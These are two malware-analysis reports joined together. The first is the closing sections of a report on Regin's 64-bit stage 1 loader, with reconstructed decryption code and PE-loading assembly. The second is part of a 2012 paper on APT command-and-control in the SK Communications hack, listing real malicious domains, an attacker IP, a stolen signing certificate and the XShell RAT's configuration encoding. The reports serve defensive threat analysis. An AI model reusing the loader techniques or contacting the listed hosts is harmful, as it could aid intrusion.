Listing 2: Structure of a program for the virtual machine typedef struct VMProgram QWORD dqField_0 DWORD ddField_8 DWORD ddPayloadSize DWORD ddField_10 DWORD ddSizeOfCode VM_OPCODE voProgramCode [ ]   // Variable sized array containing // the sequence of operations that // the VM needs to execute VMProgram The structure of a program for this custom virtual machine is relatively simple, as it consists of what we believe to be a small header and of a sequence of operations.
While the programs header is still largely undocumented [2], the purpose of each of the opcodes has been completely discovered.
The set of virtual machine operations in the code embedded in the sample we analyzed does not include any conditional instruction, which partially accounts for the simplicity of the program structure.
Each instruction of the virtual machine is characterized by a few fields and is optionally followed by enough space to hold a variable sized input argument.
The format of an opcode is presented in Listing 3.
Listing 3: Structure of an individual operation for the virtual machine define OPERATION_TYPE_LOAD 1 define OPERATION_TYPE_DECRYPT 2 define OPERATION_TYPE_DECOMPRESS 3 define OPERATION_TYPE_CLEAN 4 typedef struct VMOpcode BYTE dbOperationType BYTE dbField_1 DWORD ddVe r s ionInformat ion  // Suspected DWORD ddSizeOfIncomingArguments BYTE dbArgument [ ]  // Variable sized array containing the // (optional) argument to the opcode VMOpcode [2] The sample we analyzed neither accessed most of this header at any point during execution nor referenced it anywhere in its code,making it impossible to completely reconstruct this structures fields.
We were however able to infer the meaning of some of its fields from other information gathered in the course of our analysis.
8 Malware analysis report The Virtual Machine in itself is also very simple.
Beside the handlers, the virtual machine provides only a few facilities: 1.
A counter that gets decreased as the programs various opcodes are consumed.
2.
A pointer to the payload, which is what will be returned in case of termination of the program.
This pointer always points towards the current state of the payload.
3.
A pointer to an auxiliary memory buffer that is used when performing transformations over the payload.
This pointer can be imagined as pointing to the previous version of the payload 4.
A variable that holds the current size of the payload.
Each handler is responsible for performing its own parsing of the (possible) input arguments, executing the operation and advancing to the next operand by skipping the appropriate amount of bytes.
The main virtual machine loop has been highlighted in Figure 4.
Figure 4: Overall structure of the main loop for the virtual machine Below we present the description of the operations supported by the virtual machine.
opeRAtion_type_loAd The most important operation carried out by the Virtual Machine is OPERATION_TYPE_LOAD.
Such operation is the only mandatory operation, as it is the only moment in which the malware accesses any form of storage on the infected system this means that OPERATION_TYPE_LOAD provides the malwares only way to retrieve its payload.
OPERATION_TYPE_ LOAD receives as an argument an id which is used to verify the payload possibly hidden on the disk.
The retrieval of the content begins with the malware trying to retrieve the physical location of the volume that contains the operating system, specifically the WINDOWS directory.
The retrieval of the path to the Windows folder is performed through the Windows API GetwindowsdirectoryA and before that, via a convoluted custom string expansion subroutine.
Specifically, the malware contains code that parses entries between angular brackets ( and ) and tries to replace the item between these markers with the appropriate value.
The particular sample described in this document supports the following strings: system, temp, windows, common and program.
In addition to the items specified above, the malware has the abilities of passing entries between  characters to the expandenvironmentstrings Windows API.
This same string expansion routine was encountered in samples of Regins 32- bit stage 1 samples, further confirming the link between these malware samples.
9W64/Regin, Stage 1 Once the correct disk has been identified, the malware proceeds to obtain a handle to it and starts looking for its payload.
On infected systems, the payload will be stored in the gap area between the end of the partition that is physically farthest from the beginning of the disk and the end of the disk itself.
To move to the right location, the malware needs to have an understanding of those low-level structures that allow calculating start and end offsets of the various partitions examples of these structures are MBR, EBR and GPT.
Some systems and partitions are not supported, like those that implement logical disk management (LDM).
Once the malware has identified the correct location on the disk, it will attempt to find a marker structure at the beginning of the gap space.
The format of this structure is presented in Listing 4.
The field Id of MarkerStructure is matched against OPERATION_TYPE_LOADs operand to partially ensure the validity of the block.
Once this has been verified, a ddSize number of bytes is read the CRC32 of the read bytes is calculated and its value matched against the value of the field CRC32 contained in the marker structure.
If both checks are successful, then the buffer is considered valid, and is made available to the virtual machine for further processing.
Listing 4: Marker structure for Regins 64-bit stage 1 payload /   size of (MarkerStruct )  0xC   / typedef struct MarkerStruct DWORD ddId DWORD ddSize DWORD ddCRC32 MarkerStruct opeRAtion_type_deCRypt The payload that the malware needs to retrieve and load might need to be decrypted.
In order to support this scenario, the virtual machine that handles the retrieval and transformation of the payload into a PE file image provides an OPERATION_TYPE_DECRYPT opcode.
The pseudo-code for the decryption algorithm is provided in Listing 5.
Listing 5: Reconstructed C version of the decryption routine bool __fastcall DecryptBuffer (BYTE   pdbKey , BYTE    pdbBuffer , DWORD ddBufferLength , BYTE       ppdbBufferOut , DWORD    pddBufferOutLen , bool    pbSuccess )  bool bResult    // r101 DWORD ddInitialBackOffset  // eax7 unsigned __int64 i  // r89 BYTE   pdbRoundKey   // rsi10 unsigned int ddInnerCounter   // ebp12 DWORD p8ByteBlockIterator   // edi12 char dbOffsetsLowByte  // cl14 BYTE   pByteToDecrypt   // rdx14 __int64 ddInKeyCounter   // rax14 bResult  0 Continues overleaf 10 Malware analysis report // Check pointer validity if (  pdbKey  pdbBuffer  pdbSuccess ddBufferLength  0  bDecryptedMalwareConfig )  // Check the length of the encrypted buffer to calculate // the initial starting position for the decrypted loop if ( ddBufferLength  7 ) ddInitialBackOffset  ddBufferLength  7 else ddInitialBackOffset  8 // Begin decryption of the buffer for ( i  ddBufferLength - ddInitialBackOffset ( unsigned int ) i  ddBufferLength i  ( unsigned int ) ( i - 8 )   )  pdbRoundKey  pdbKey if ( i  0xFFFFFFF8 ) pdbRoundKey  pdbBuffer [ i - 8 ] ddInnerCounter  0 p8ByteBlockIterator  i do  // If out of buffer boundaries, exit loop if ( p8ByteBlockIterator  ddBufferLength ) break dbOffsetsLowByte  i  ddInnerCounter pByteToDecrypt  pdbBuffer [ p8ByteBlockIterator ] ddInKeyCounter  p8ByteBlockIterator  7 pByteToDecrypt  dbOffsetsLowByte  pdbRoundKey [ ddInKeyCounter ]  while ( ddInnerCounter  8 )  ppdbBufferOut  pdbBuffer bResult  TRUE pddBufferOutLen  ddBufferLength pbSuccess  TRUE  return bResult  Continued 11W64/Regin, Stage 1 OPERATION_TYPE_DECRYPT receives as input argument the decryption key to be used.
The length of the decryption key is hardcoded to 8 bytes.
It might be of interest to the reader that the decryption functionality is not exclusively used for the payload, but also by Regins 64-bit stage 1 itself to decrypt the virtual machine program that it carries in its own body, albeit with a different decryption key.
opeRAtion_type_deCoMpRess One of the commands of the virtual machine is used to decompress data from one buffer into another.
In the sample that was analyzed, only a single compression algorithm was supported, specifically NRV2E with an 8-bit buffer.
Such algorithm is part of the UCL data compression library.
The pseudo code for the handler OPERATION_TYPE_DECOMPRESS is provided in Algorithm 2.
The OPERATION_TYPE_ DECOMPRESS command receives as input argument the size of the output buffer.
Algorithm 2: Pseudo code representation of the OPERATION_TYPE_DECOMPRESS handler data: output_buf_size begin temp_pointer  payload_pointer payload_pointer  AllocateMemory(output_buf_size) if output_buffer  NULL then exit_vm(error) end result  decompress_NRV2E_8(temp_pointer, output_buf_size, payload_pointer, payload_size) if result  0x0 then WipeAndFreeMemory(payload_pointer, payload_size) WipeAndFreeMemory(temp_pointer, output_buf_size) exit_vm(error) end Free_Memory(temp_buffer) temp_buffer  NULL raw_byte_pointer  sizeof(VMOpcode)  sizeof(DWORD) return end opeRAtion_type_VM_CleAn This particular opcode is responsible for shutting down the virtual machine in a clean manner.
The handler carefully overwrites the contents of both the payload buffer and auxiliary memory buffer if they are available and terminates the execution of the virtual machine program.
While it would seem logical that this operation would be performed at the end of a VM execution, the program embedded in the sample does not make use of it.
4.3  Content loading and mapping Once the payload has been located and extracted from the compromised machine and all the necessary transformations have been applied to it, Regins 64-bit stage 1 component will attempt to load the image.
The loading process is quite generic and well coded, providing a further confirmation that the authors of this particular family of malware are knowledgeable when it comes to the operating systems internals and with low level structures and concepts.
The various aspects of the loading process will be individually detailed in sections 4.3.1, 4.3.2 and 4.3.3.
12 Malware analysis report 4.3.1  The QuickPeParse64 function Throughout the code of its loader the malware uses extensively the QuickPeParse64 subroutine to quickly get information about key elements of the PE structure.
Code for the QuickPeParse64 subroutine is presented in Listing 7, while the format of its output is described in Listing 6.
Listing 6: Format of QuickPeParse64s output typedef struct PePointers IMAGE_DOS_HEADER   pDosHeader IMAGE_NT_HEADERS   pNtHeader IMAGE_SECTION_HEADER    pSectionHeaders [ ] IMAGE_DATA_DIRECTORY    pDataDirectories [ ] PePointers Listing 7: The QuickPeParse64 subroutine bool __fastcall QuickPeParse64 ( void   pPeFile , PePointers    pParsedPe ) QuickPeParse64 proc near arg_8    word ptr 10h arg_10    word ptr 18h arg_18    dword ptr 20h xor   r8d , r8d mov   r9 , rdx cmp   rdx , r8 jz   short exit_func cmp  rcx , r8 jz   short exit_func mov   eax , 7777h mov   edx , 2D3Ah mov   [ rsparg_8 ] , ax mov   [ rsparg_18 ] , 77777777h mov   [ rsparg_10 ] , ax movzx   eax , [ r sparg_8 ] xor   ax , dx DOS header magic check (MZ) cmp   ax , [ rcxIMAGE_DOS_HEADER.e_magic ] jnz   short exit_func mov   eax , [ r sparg_18 ] movsxd   rdx , [ rcxIMAGE_DOS_HEADER.e_lfanew] xor   eax , 77773227h Continues overleaf 13W64/Regin, Stage 1 COFF header magic check ( PE ) cmp   eax , dword ptr [ rdxrcxIMAGE_OPTIONAL_HEADER64.Magic ] jnz   short exit_func movzx   eax , [ rsparg_10 ] mov   r10d , 757Ch xor   ax , r10w Verify that the file is a PE32 cmp   ax , [ rdxrcxIMAGE_NT_HEADERS.OptionalHeader.
Magic ] jnz   short exit_func Prepare output by filling the result structure mov   [ r9PePointers .pDosHeader ] , rcx movsxd   rdx , [ rcxIMAGE_DOS_HEADER.e_lfanew] mov   r8b , TRUE add   rdx , rcx mov   [ r9PePointers .pPeHeader ] , rdx movzx   eax , [ rdxIMAGE_NT_HEADERS.FileHeader.
SizeOfOptionalHeader ] lea   rcx , [ raxrdx18h ] add   rdx , 88h mov   [ r9PePointers .pSectionHeaders ] , rcx mov   qword ptr [ r9PePointers .pDataDirectories ] , rdx exit_func : mov  al , r8b retn QuickPeParse64       endp The QuickPeParse subroutine is not an exclusive characterstic of this malware.
In fact, samples of Regins 32-bit stage 1 samples also included a version of this subroutine the main differences lie in the fact that the 64-bit version of the code use encrypted constants and that the code has been produced using a different toolchain.
This particular aspect not only allows us to link together samples of the 32 and 64-bit version of Regins stage 1 components, but also to mark the 64-bit version as the evolution of its 32-bit counterpart.
4.3.2  Headers, Sections and Imports In order to map the payload, the malware will allocate a segment of memory that is big enough to hold the memory mapped image of the payload.
The mapping subroutine allows for client code to specify a preferred address to map the payload at if the client specifies a loading address of 0x0, then the mapping function will use the preferred imagebase specified in the PE file images PE header as a preferred allocation base this is the case for the sample that has been analyzed [3].
Would the allocation with any of these specific addresses fail, the code will fall back to let the system allocate enough memory at an address of its choice.
Continued [3] This behavior would indicate that the functionality is possibly part of a shared library that is used by a number of projects.
14 Malware analysis report Once the memory has been allocated, the code maps first the headers then each of the sections in a loop.
The code responsible to map each of the sections is shown in Figure 5.
Figure 5: The code responsible for mapping the sections Once the headers and sections are in place, the malware focuses on the dependencies of the payload and begins processing its import directory.
The loader code will take care not only of resolving symbols, but also of loading additional modules as required.
The malware supports symbols exported by name and by ordinal.
4.3.3  Relocations After the previous stages of the mapping are complete, the malware will continue the loading process by applying relocations in case there would be need.
The fact that the PE file loader implemented supports relocations makes the loader more flexible and allows to the malware to load a wider variety of payloads.
The following relocation items are supported explicitly by the malware: IMAGE_REL_BASED_ABSOLUTE IMAGE_REL_BASED_HIGHLOW IMAGE_REL_BASED_DIR64 If relocation entries of a type different from the ones above are encountered, the relocation process will fail gracefully.
This is yet another indication that the authors of this family of malwares are experienced developers that take time to create code that is well engineered and fault tolerant.
4.4  payload invocation After the payload has been retrieved and loaded into memory alongside its dependencies, Regins 64-bit stage 1 will first transfer control to the entrypoint of the payload.
Once execution of the payloads entrypoint is completed, the malware will process the payloads export table, retrieve the address for the entry exported with ordinal 1, and execute it.
The relevant code portion, appropriately edited, is presented in Listing 8.
The way the payload is handled and control is passed to it, makes it clear that the next stage of this complex threat is also a 64-bit Dynamic Link Library.
15W64/Regin, Stage 1 Listing 8: Invocation of the next stage mov  rcx , [ rsp28hpPayload ]  pPe64File xor   edx , edx call   CustomLoadDll   Completely loads the input PE and invokes its entrypoint mov  rbx , rax test   rax , rax jz   short cleanup_1 mov  edx , 1    dqOrdinal mov  rcx , rax    hModule call   GetAddressOfSymbolExportedByOrdinal test   rax , rax jz   short cleanup_2 mov  rcx , r d i    Pass needed parameter to the function call   rax    Invoke Ordinal 1 of the payload xor   esi , es i jmp   short cleanup_1 With the information extracted by analyzing the code of the sample, it is possible to reconstruct the type of parameters passed to the payloads export 1.
The reconstructed prototype of the exported entry is presented in Listing 9.
Listing 9: Reconstructed prototype for Ordinal 1 of the payload typedef struct PayloadInputStructure HMODULE hSelf HTHREAT hThread /   Loaded by LoadLibraryEx ( .
. . ,
DONT_RESOLVE_DLL_REFERENCES)   / HMODULE hSelfNoDep PayloadInputStructure // Reconstructed prototype void __fastcall ordinal_1 ( PayloadInputStructure   pInput ) 4.5  Cleanup After the invocation of the payloads export number 1, Regins 64-bit stage 1 component will proceed to unload the payload and terminate operations.
The malware will first invoke the payloads entry point passing the DLL_PROCESS_ DETACH parameter, to notify the payload of the impending unload.
After this, stage 1 will start removing the artifacts 16 Malware analysis report that were associated to the execution.
Each item that was associated with the payload and its interactions with stage 1 is carefully first overwritten then, where applicable, deallocated.
In this final part of the execution, we also find references to the a value of 0xFEDCBAFF such value is just one off from the value of 0xFEDCBAFE, which was observed in samples of Regins 32-bit stage 1 component.
5.
ConClusions Our analysis of the Regins 64-bit stage 1 component, as detailed in this document, shows that the malware is designed to retrieve a payload from an already infected system, map it into memory and transfer control to it.
The utilitarian nature of the rootkit makes it obvious that this a support module, designed to enable the presence of something surely more meaningful.
Most of the malwares code is fairly generic, therefore allowing it to load any kind of payload as long as it satisfies a minimum number of constraints mostly related to how it is stored on the disk.
This is a sign that Regin is designed as a platform rather than an individual entity.
Given the support nature of Regins 64-bit stage 1 component, precise attribution is fairly challenging.
The similarities with the 32-bit version of Regins stage 1 are very strong, starting from the fact the two different versions of the malware have the same high level purpose, to the fact that they share code like the QuickPeParse subroutine and the string expansion functionalities.
We are quite confident in claiming that this 64-bit version of Regins stage 1 component is an evolution of the 32-bit version, designed to work on more modern versions of the Windows operating system.
Like with the 32-bit version, we have observed a great care put into this malware by its authors.
The code of the malware is tidy and safe, making it less likely to malfunction or crash during operations.
Its camouflage is similarly done with a great attention to details, effectively making the malware blend seamlessly with the rest of Windows standard system files.
All of this supports us in confirming our suspicion that the authors of Regin are skilled developers, experienced in the ways of software design and implementation.
1.
Introduction 2.
General information 3.
Hiding technique 3.1  Mimicking a valid Microsoft Dynamic Link Library 3.2  The certificate 4.
Malware analysis 4.1  Deployment and startup 4.2  Content retrieval 4.2.1  The virtual machine and its meta-language 4.3  Content loading and mapping 4.3.1  The QuickPeParse64 function 4.3.2  Headers, Sections and Imports 4.3.3  Relocations 4.4  Payload invocation 4.5  Cleanup 5.
Conclusions
OF29 COPYRIGHT COMMAND FIVE PTYLTD.
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Command and Control in the Fifth Domain Command Five Pty Ltd February 2012 ABSTRACT This paper presents the findings of an extensive investigation into command and control infrastructure used by an Advanced Persistent Threat.
Findings include technical details of malicious software, and associated command and control protocols.
These findings are drawn upon to identify modus operandi and demonstrate links between a number ofmajor targetedattacks includingthe recent Sykipotattacks, the July 2011 SK Communications hack, the March 2011 RSA breach, andthe series of coordinatedcyber attacks dubbed NightDragon.
WARNING Thispaper discusses malicious activityandidentifies Internet Protocol (IP) addresses,domain names, and websites that may contain malicious content.
For safetyreasons these locations should notbe accessed, scanned, probed,or otherwise interactedwith unless their trustworthiness can be verified.
BACKGROUND On 28 July 2011 SK Communications announced it hadbeen the subject ofa hack whichresultedin the theft of the personal details of up to 35 million people1.
The attackers infected a number of SK Communications computers withmalicious software (malware) and, by issuing command andcontrol (C2) instructions to the malware, were able togain access to, and exfiltrate large quantities of data.
The attack itselfwas complex,well planned and likelypart of a broader, concerted hacking effort attributable to an AdvancedPersistentThreat2.
1 For detailsof the hackrefer to the CommandFive paper SKHack by an AdvancedPersistent Threat.
(
CommandFive Pty Ltd, 2011) 2 For a definition of the term AdvancedPersistent Threatrefer to the Command Five paper AdvancedPersistent Threats: A Decade in Review.
(
Command Five Pty Ltd, 2011) The malware usedin the attack was programmed tocommunicate with several callback domains.
The malware located its C2 server(s) by resolving these domains into IP addresses using the ubiquitous Domain Name System (DNS) 3 protocol.
These communications are depictedin Figure 1.
FIGURE 1: DEPICTION OF COMMUNICATIONS 3 DNS is fundamental on the Internet.
It is a form of directory assistance to help computerscommunicate withother computers.
Its use is analogous to a person callingdirectory assistance to find out what phone number to dialto speakto a certain person.
1.
Using the Domain Name System (DNS) protocol, the computer asksaDNSserver fordirectionstothecallbackdomain.
2.
TheDNSserveradvisesthatthecallbackdomainislocatedatIP addressx.x.x.x.
3.
Themalwarecommunicateswiththe C2serverlocatedatIP addressx.x.x.xtoobtainC2instructionsand/ortosenda response.
4.
TheC2serverprovidesadditionalC2instructionsto themalware.
Computer infectedwith malware Commandand control (C2)server 3.
4.
DNSserver 1.
2.
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One of the callback locations used in the SK Communications hack was update.alyac.org.
The domain was registeredon 24September 2010using registration information almost identical to thatofa legitimate company a tactic usedbythe attacker on several occasions4.
Following the intrusion into the SK Communications network it became widely known that the domain was being used for malicious purposes, and perhaps for this reason, the one year registration was not renewedbythe attacker.
Despite this,a number ofvictimsaround the worldcontinued touse the domain tolocate their C2server,resulting in attemptedcommunications toa C2server thatno longer exists.
THE VICTIMS Computers using IP addresses allocated to France, the Peoples Republic ofChina,Portugal,South Korea, Taiwan, the United Kingdom and the United States are amongthose thatattemptedtocommunicate with alyac.org subdomains after the attackers registration lapsed in September 2011.
While some of these computers belong to security researchers who deliberately installed malware for research purposes, most are victims compromised by the attacker either directly or indirectly.
The victims are from a variety of industries including the technology sector, high precision manufacturing, researchanddevelopment, testing and certification, global market research, executive headhunting and mentoring, and webhostingproviders.
THE COMMUNICATIONS Eight different types of C2 communications were observed to alyac.org subdomains from the compromised computers.
These communication types will be referred to as LURK, XShell C601, Update?,
Murcy, Oscar, BB, DB, and Qdigit respectively.
Several victims communicated via both Update?
and Oscar which are believed to be associatedwith the same malware.
No other victims were observed communicating with alyac.org subdomains via more than one C2protocol.
4 Other domains registered using a similar tactic include bomuls.com, nprotects.org, and trendmicros.net.
(
Command Five Pty Ltd, 2011) THE LURK COMMUNICATIONS A single computer was observedcommunicatingwith the callback domain path.alyac.org on Transmission Control Protocol (TCP) 80 via the LURK protocol.
The communications contained a 15byte header followed by data compressed using the DEFLATE5 compression method.
The header contained a protocol identifier, size andcompression information as shown in Table 1.
BYTE POSITION SIZE(BYTES) DESCRIPTION 0 4 LURKprotocolidentifier.
Hexadecimal bytes0x4C0x55 0x52 0x4B(or LURK in ASCII representation).
4 1 Hexadecimal byte 0x30 (0) in all observed samples.
Byte may form part of the protocolidentifier.
5 4 Sizec  Compressed message size in bytes(including header).
9 4 Decompresseddata size in bytes.
13 2 ZLIB6 stream header.
Hexadecimal bytes0x78 0x9c7 in all observed communications, denotingthat the DEFLATE compression methodwas usedto compress the data (with a windowsize of 32K).
15 [Sizec  15] DEFLATE compresseddata.
ALLVALUESARELITTLEENDIANUNLESSOTHERWISESTATED.
TABLE 1: LURK PROTOCOL FORMAT The decompressed data reveals information about the compromised computer such as its name, computer specifications and operating system (OS) information as shown in Table 2.
For example, it reveals that the compromised computer communicating with path.alyac.org is running Windows 2003 Server Web Edition, Service Pack 2.
5 The DEFLATE compression method is specified in RFC 1951.
(
Deutsch, 1996) 6 ZLIB is a compressed data format scheme specifiedin RFC 1950.
(
Deutsch, ZLIBCompressed Data Format Specification version 3.3, 1996) 7 As described in Section 2.2 of RFC 1950, bits 0 to 3 in the first byte of the ZLIBstream header represent the compression method used, and bits 4 to 8 represent compression information.
The second byte in the header contains bits for an integrity check, along with two additional flags.
With a second byte of 9c the integrity check passes (as 30876 is divisible by 31), the preset dictionary flag is not set, and the compression level flag indicates that the default algorithm was used for compression.
(
Deutsch, ZLIBCompressedData Format Specification version 3.3,1996) OF29 COPYRIGHT COMMAND FIVE PTYLTD.
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BYTE POSITION SIZE (BYTES) DESCRIPTION 0 4 Possible protocol identifier.
Fixedbytes0x82 0x69 0x74 0x6Bin all observed communications.
4 260 0x00bytesin all observedcommunications.
264 1 0xD0in all observedcommunications.
265 31 Nullterminatedcomputer name.
296 24 0x00bytesin all observedcommunications.
320 156 OSVERSIONINFOEX8 structure (format shown in Annex A).
476 9 Nullterminatedaccount name.
485 19 Unknown.
504 4 Horizontalscreen resolution (pixels).
508 4 Verticalscreen resolution (pixels).
512 92 Unknown.
604 4 Computer Processor Unit speedin megahertz (MHz).
608 8 Nullterminatedstringcontainingamount of memory andunit of measurement (e.g.
1023MB).
616 120 Unknown.
ALLVALUESARELITTLEENDIANUNLESSOTHERWISESTATED.
TABLE 2: FORMAT OF DECODED LURK COMMUNICATIONS Similar communications 9 are known to be generated by malware that communicates with the callback domain office.windowupdate.org  a domain that is linked to alyac.org not only by the communications protocol but also by both domain registration tactic andinfrastructure.
The domain windowupdate.org is ostensibly registered to Microsoft Corporation.
The administrative address andcontactinformation listed in the domain registration is identical to that listed for the legitimate Microsoft domain windowsupdate.com10.
This is the same tactic used bythe attacker withregistration ofalyac.org11.
8 The OSVERSIONINFOEX system information structure includes major and minor version numbers, a build number, platform identifier and information about product suites and the latest Service Pack installed.
(
Microsoft Corporation, 2011) 9 The malware Troj/AgentUDRwithMD5hash 4237 7E72 4875 2912 5EBE 7C95 02B9 4CD7 is known to generate communications of the format LURK0\xAC\x01, LURK0\xAD\x01, LURK0\B3\x01 and LURK0\xB5\x01.
(
SophosLtd.,
2011) 10 The legitimate domain windowsupdate.com is used by Microsoft to deliver updatesto the Windows OS.
11 The domain alyac.org wasregistered usingregistration details that madethe domain appear asthoughit wasassociatedwiththe legitimate, trustedentity ESTsoft  the producer of ALYac antivirus software.
(
CommandFive Pty Ltd,2011) The domain windowupdate.org previously pointed to SouthKorean IPaddress 222.122.20.241 an IP address to which alyac.org also previously pointed.
This shared infrastructure further suggests thatthe observed communications to path.alyac.org andthose tooffice.windowupdate.org maybe linked tothe same attacker.
The malware that generates the LURK communications sent to office.windowupdate.org was signed using a compromised code signing certificate belonging toYNK Japan Inc a producer of online games.
The same certificate has been usedin a number of attacks including by Hupigon malware12 and malware similar to that used in the SK Communications hack.
Details of the compromised code signing certificate are shown in Figure 2.
(
Fagerland,2011) FIGURE 2: COMPROMISED CERTIFICATE DETAILS The compromised code signing certificate was revoked on 29 July 2011 but, as the malware was signed on 3 July 2010 and the revocation was not active for software signed before 29 July201113, the certificate continued to validate for this malware after the revocation.
(Fagerland,2011) The date of effect of the revocation has since been backdated to prevent this malwares certificate from validating14.The new date of effect still maynot prevent the validation of all malware using this compromisedcode signingcertificate.
12 Hupigon is a remote administration tool from China.
It has rootkit functionality, can log user activity and establishes outboundcommunicationsto a C2server.
(
FSecure Corporation) 13 The revocation is active from the revocationDate (in thiscase, 29 July 2011) specifiedin the Certificate Revocation List.
14 The revocation for the compromisedcode signing certificate has been backdated to 12 April 2010 so that the earliest known malware signedwithit no longer validates.
(
Verisign, 2011) Serial Number: 046931BF57EBC5947D3DC4EE7A236E Common Name: YNK JAPAN Inc Status: Revoked Validity (GMT): Nov 27, 2009  Nov 27 2011 Class: Digital IDClass 3  Software Validation Organisation: YNK JAPAN Inc Organisational Digital IDClass 3  MicrosoftSoftware Unit: Validation v2 State: Chuoku City/Location: Nihonbashi Kodenmachou106 Country: JP Serial Number: 6724340ddbc7252f7fb714b812a5c04d Issuer Digest: 96c16fb10ef41f9736c50c5bac0ddd67 OF29 COPYRIGHT COMMAND FIVE PTYLTD.
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THE XSHELLC601 COMMUNICATIONS Numerous compromised computers communicated with path.alyac.org on TCP port 443 a port commonly used for SSL.
These communications, however, were not SSL but instead unencrypted communications likelygeneratedbya version of the commandline based XShell 601 Remote Administration Tool (RAT)15.
A summary of the observed XShell communications, and the information they reveal aboutthe compromisedcomputer,isshown in Table 3.
The C immediately preceding the 601 in the communications is believed to indicate that the malware isnota free version butinsteada custom,or commercial,version ofthe XShell 601RAT.
BYTE POSITION SIZE (BYTES) DESCRIPTION 0 8 0x00bytesin all observedsamples.
8 4 Tickcount (number of milliseconds since system wasstarted resetsafter 49.7days).
12 4 0x00bytesin all observedsamples.
16 4 Protocol identifier  0x43 0x36 0x30 0x31(C601).
20 28 Nullterminatedusername (if successfully obtained from the system).
48 156 OSVERSIONINFOEX structure (format shown in Annex A).
204 52 Unknown.
256 32 Nullterminatedcomputer name (if successfully obtained from the system).
288 12 Process name.
300 52 0x00bytesin all observed communications.
352 36 SYSTEM_INFO16 structure (format shown in Annex B).
388 72 0x00bytesin all observedsamples.
460 12 Unknown.
472 4 Locale identifier17.
476 4 Tickcount (repeated).
480 300 Unknown.
Mainly 0x00 bytesin observed communications.
ALLVALUESARE LITTLEENDIANUNLESSOTHERWISESTATED.
TABLE 3: XSHELL C601 COMMUNICATION FORMAT 15 The XShell RAT is commercial software.
(
XTiger, Xdoors.net, 2011) 16 The SYSTEM_INFO structure contains information about a computer suchasitsarchitecture, type of processor andnumber of processorsused.
(
Microsoft Corporation, 2011) 17 A locale is a collection of languagerelated user preference information that typically identifies a users country and dialect.
(
Microsoft Corporation, 2011) In all observed communications the process name listed atbyte 288 was svchost.exe18.Basedon this, the malware has likely modified the system registry on the compromised computers in such a way that the RAT gets executed as a service by the trustedprocess svchost.exe eachtime the computer isstarted.
Thisprocess name,alongwith the callback location, isconfigurable,andcan be configuredafter the RAT has been compiledintoexecutable form.
While XShell supports numerous versions of the Windows OS (including Windows XP,Vista,Windows 7,andWindows2000, 2003and2008server  both 32 and 64 bit versions), only computers running Windows XP were observed communicating with path.alyac.org.
The functionality of the RAT depends on the version,release number,plugins installedandthe OS on which the RAT is installed19.
Several versions of the XShell RATexist, including a free version and a spy version20.
The free version of the RAT is no longer available for download from the XDoors website, however, development of the software continues21.
Current release numbers of the XShell RAT include 601 and 603.
Previous releases date back toatleast200622.
Some functionality comes standard in all versions of the RAT including the ability to start a command shell, control processes and services, upload/download files, terminate TCP connections, create user accounts,retrieve systeminformation,log user activity (via a keylogger) ,modify timestampson files, conduct process injection, conduct denial of service attacks and shutdown or restart the computer.
Commands supported by the XShell software are listedin Annex C.(XTiger) 18 The process svchost.exe is a generic host process for services which run from DLLs.
(
Microsoft, A description of Svchost.exe in Windows XPProfessional Edition 2007) 19 Not all features are supported in each OS.
For example, raw socket sniffing is only supported in Windows 2000 and 2003.
(
XTiger) 20 Versionsof XShell include a personal edition, a mini version, an advanced version, a spy version andan enterprise version.
(
XTiger  Crackersoftware, 2011) 21 Due to the author wanting to avoidunnecessary trouble, as of 16 March 2011, the free version of the XShell RAT (and also its sister product the XDoor RAT) isno longer availablefor download from the xdoors.net webpage, however, an online forum containing a list of changes made to the RAT continues to be updated.
(
XTiger, forum.xdoors.net.
Topic: XDoor/XShell free downloadpaused, 2011) 22 Previous releases of XShell include release numbers 323, 325, 327,329, 331, 333, 335and337.
(
XTiger, 2010) OF29 COPYRIGHT COMMAND FIVE PTYLTD.
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The RAT is Virtual Machine (VM) aware, proxy aware and can also use a specified DNS server to resolve callback domains.
Some versions have rootkit functionality and can avoid detection by antivirus software.
Thirdparty plugins can be developed and integratedinto the product.
Optional features include encrypted file search, an SMS notification service, and functionality that enables the compromised computer to be used as part of a botnet to send spam or to conduct distributed denial ofservice attacks.
Thisbroad range of functionalitymakes the software fit for a number ofpurposes andreflects the commercial nature of the software.
(XTiger) The XShell RAT is generated by the XShell Control Program the same program from whichthe malware is controlled.
The control program can be run in either Chinese language mode or English language mode,and allows the malware to be easily configured.
It provides options to digitally sign the malware, specify its connection mode (connect/listen/sniff), install the malware in one of several covert manners, recover the System Service DispatchTable (SSDT)23 before installation,andabort installation if a virtual machine isdetected.
(
XTiger) When XShell malware is generated, and the connect connection mode24 selected,the malware is configured with a static C2 host (IP address or callback domain) and control port.
Additionally, an option can be selected duringthe generation process toactivelynotify the malware ofa newC2 hostand port via a configuration webpage25.
If this option is selected, the malware communicates with both a configuration webpage, and a C2 server at regular intervals.
The interval for each can be separately configured to a value of between 30 and 3600 seconds(inclusive).
(XTiger) The XShell RATsthatcommunicatedwiththe C2 hostpath.alyac.org had been configured to use a 36 secondinterval.
Itisnotknown whether the malware was configured solely with a static C2 host or 23 The SSDT is often used by kernel mode rootkits to evade detection.
24 In the connect mode the malware attempts to communicate with itsC2server, as opposed to the listenmode in which it waits for a C2server to attempt to connect to it.
25 The configuration webpage isoften namedxcip.aspandcan be generatedanduploadedfrom within the controlprogram.
Xcipis presumably an acronym for Xdoor Configure IP address or somethingsimilar.
whether the malware also retrieves its C2 host and port froma configuration webpage.
XShell Configuration Webpages XShell configuration webpages contain, in encoded form, a colonseparated IP address (or callback domain) and port for the malware to use to communicate with its C2 server.
The encoded IP address (or callback domain) andcontrol portcan be decodedone byte ata time usingthe formula: di ei  ((i8)x), where i is the byte index,diis the decodedbyte,ei is the encodedbyte andxis a one byte key.
This isthe equivalent of subtracting both the key and the byte position number [07] from each byte.
The position number ismodulo8 i.e.repeats every8 bytes.
For example, if the compromised computers received a C2 host of PATH.ALYAC.ORG and a control port of 443 from a configuration webpage, anda keyof0x16(22in decimal) was usedtoencode the control information, the configuration webpage would have contained the encoded string fXlaH\hvWZFhlbVQJJ.
THE UPDATE?
COMMUNICATIONS HyperTextTransfer Protocol (HTTP)POST Update?
requests were sent to both path.alyac.org and update.alyac.org from compromised computers.
Two request formats were observed Variant A (shown in Figure 3) in whichthe file pathrequested was /update?productwindows, and Variant B (shown in Figure 4) in whichthe file pathrequested was /update?idnumber,where numberrefers toan eight digit hexadecimal number that changes between requests.
The domain path.alyac.org only receivedVariantB requests,while both variants were sent toupdate.alyac.org.
OF29 COPYRIGHT COMMAND FIVE PTYLTD.
